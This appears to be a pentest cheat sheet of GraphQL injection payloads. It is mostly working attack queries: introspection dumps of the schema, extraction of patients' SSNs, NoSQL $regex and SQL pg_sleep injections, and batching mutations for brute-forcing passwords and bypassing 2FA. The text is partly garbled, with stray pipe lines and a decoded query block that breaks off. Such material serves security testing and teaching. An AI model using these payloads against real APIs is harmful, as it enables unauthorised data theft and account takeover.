# GraphQL injection
|
||
|
||
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

## Exploit
|
||
|
||
### Identify an injection point
|
||
|
||
Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
|
||
|
||
```js
|
||
example.com/graphql?query={__schema{types{name}}}
|
||
example.com/graphiql?query={__schema{types{name}}}
|
||
```
|
||
|
||
Check if errors are visible.
|
||
|
||
```javascript
|
||
?query={__schema}
|
||
?query={}
|
||
?query={thisdefinitelydoesnotexist}
|
||
```
|
||
|
||
|
||
### Enumerate Database Schema via Introspection
|
||
|
||
URL encoded query to dump the database schema.
|
||
|
||
```js
|
||
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
|
||
```
|
||
|
||
URL decoded query to dump the database schema.
|
||
|
||
```javascript
|
||
fragment FullType on __Type {
|
||

|
||
|
||
Single line query to dump the database schema without fragments.
|
||
|
||
```js
|
||
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
|
||
```
|
||
|
||
### List path
|
||
|
||
```php
|
||
$ git clone https://gitlab.com/dee-see/graphql-path-enum
|
||
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
|
||
Found 27 ways to reach the "Skill" node from the "Query" node:

|
||
```
|
||
|
||
### Extract data
|
||
|
||
```js
|
||
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
### Extract data using edges/nodes
|
||
|
||
```json
|
||
{
|
||
"query": "query {
|
||
teams{
|
||
total_count,edges{
|
||
node{
|
||
id,_id,about,handle,state
|
||
}
|
||
}
|
||
}
|
||
}"
|
||
}
|
||
```
|
||
|
||
### Extract data using projections
|
||
|
||
:warning: Don’t forget to escape the " inside the **options**.
|
||
|
||
```json
|
||
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
|
||
```
|
||
|
||
|
||
### Enumerate the types' definition
|
||
|
||
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
||
|
||
```javascript
|
||
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
|
||
```
|
||
|
||
### Use mutations
|
||
|
||
Mutations work like function, you can use them to interact with the GraphQL.
|
||
|
||
```javascript
|
||
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
|
||
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
|
||
```
|
||
|
||
### NOSQL injection
|
||
|
||
Use `$regex`, `$ne` from []() inside a `search` parameter.
|
||
|
||
```json
|
||
{
|
||
doctors(
|
||
options: "{\"limit\": 1, \"patients.ssn\" :1}",
|
||
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
|
||
{
|
||
firstName lastName id patients{ssn}
|
||
}
|
||
}
|
||
```
|
||
|
||
|
||
### SQL injection
|
||
|
||
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
|
||
|
||
```powershell
|
||
{
|
||
bacon(id: "1'") {
|
||
id,
|
||
type,
|
||
price
|
||
}
|
||
}
|
||
```
|
||
|
||
Simple SQL injection inside a graphql field.
|
||
|
||
```powershell
|
||
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
|
||
```
|
||
|
||
### GraphQL Batching Attacks
|
||
|
||
Common scenario:
|
||
* Password Brute-force Amplification Scenario
|
||
* 2FA bypassing
|
||
|
||
```powershell
|
||
mutation finishChannelVerificationMutation(
|
||
$input FinishChannelVerificationInput!,
|
||
$input2 FinishChannelVerificationInput!,
|
||
$input3 FinishChannelVerificationInput!,
|
||
){
|
||
first: finishChannelVerificationMutation(input: $input){
|
||
channel{
|
||
id
|
||
option{
|
||
... onChannelSmsOptions{
|
||
number
|
||
}
|
||
}
|
||
status
|
||
notificationSubscription(last: 1000){ etc... }
|
||
}
|
||
}
|
||
|
||
|
||
second: finishChannelVerificationMutation(input: $input2){...}
|
||
third: finishChannelVerificationMutation(input: $input3){...}
|
||
}
|
||
```
